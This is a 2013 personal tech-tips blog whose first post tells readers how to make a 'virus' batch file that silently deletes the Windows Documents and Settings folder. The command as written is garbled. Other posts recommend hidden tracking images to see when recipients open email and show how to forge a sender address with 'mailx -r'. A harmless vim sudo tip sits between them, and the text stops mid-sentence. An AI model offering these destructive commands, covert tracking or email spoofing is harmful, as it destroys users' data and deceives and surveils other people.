Tuesday, 29 January 2013

Sample Virus Code (For Educational Purpose)

Hi Folks,

All of you guys know the impact of virus programs in computers.

So, are you ready to create a virus program for you?
Yes, You can.
Today, I'm going to teach you to write a virus program to delete the "Documents and Settings" folder.

Step 1: Open Notepad.
Step 2: Copy and paste the following.

     rmdir C:\Documents and setting\S /Q
Step 3: Save it as your_desired_name.bat
Step 4: Run at your own risk.

Sunday, 27 January 2013

Tracking down your sent e-mails

Hi Folks,

Most  of the times,
You may receive a response from your friends/colleagues that,
    'Hey, Just now I saw your mail'.

Are you sure about that they're telling the truth to you?????

Any Guess??

Hmm,why can't we track down the mails which we send.
So, that we may know when they opened our mail 

Sounds good right???

So, How can we do that 

Hum, I have something what you're going to need.

Today, I'm going to tell you about a service(Free) to track down your mails.

Step 1: Compose your mail as you do always.

Step 2: Go to http://www.spypig.com/
    Step 2.1: give your email address to which you want the tracking mail to be sent
    Step 2.2: Give the email message you want to track a unique title such as the recipient's name
                and your message subject (e.g. "To Mr. Christa Bear: Let's have lunch!")
                so you later can identify it from the notifications you'll receive
    Step 2.3: Select a SpyPig Image or your own(You need to signup & login)
    Step 2.4: Generate your SpyPig by clicking the "click to create my spypig"
    Step 2.5: Copy and paste your spypig image to your mail body before the activation timer runs out to 0(from 60).
    Step 2.6: Send your mail.

Step 3: Check your spam folders also for notification mails (Since, mostly the mails containing the word spy were
        redirected to spam ).
That's it.
Now they can't lie to you

Friday, 11 January 2013

Acquiring sudo permission inside vi/vim editor

The most common mistake we do while having sudo access to a Linux system is,
We open a file normally using vi/vim
E.g.      vim file.txt
And edit the file and while saving you get an error saying file opened in read only mode. So you will go back and open the file with sudo permission
E.g.      sudo vim file.txt
Then edit the file again and save it.

No more need for this:-D
While saving the file using “ :w , :wq , or :x “
Use the following command to write the file even if you opened the file as a normal user (without providing sudo).
:w !sudo tee % , or
:wq !sudo tee % , or
:x !sudo tee %

Now you have saved the file.
Follow the video tutorial for reference(Credits to Sudesh Kumar).

Wednesday, 9 January 2013

Sending mail from another email-address

Lets see how we can send Email from another account.

The requirements will be a terminal only (surely with internet).

Use the following command.

mailx -r bob@example.com -s "The subject" adam@example.com
This goes inside the body of the mail
this is the end.

Now hit Ctrl + D.

That's it

Now Adam will receive an email from bob which is actually sent by you

Try it.

If you find this is too hard for you, try a site like,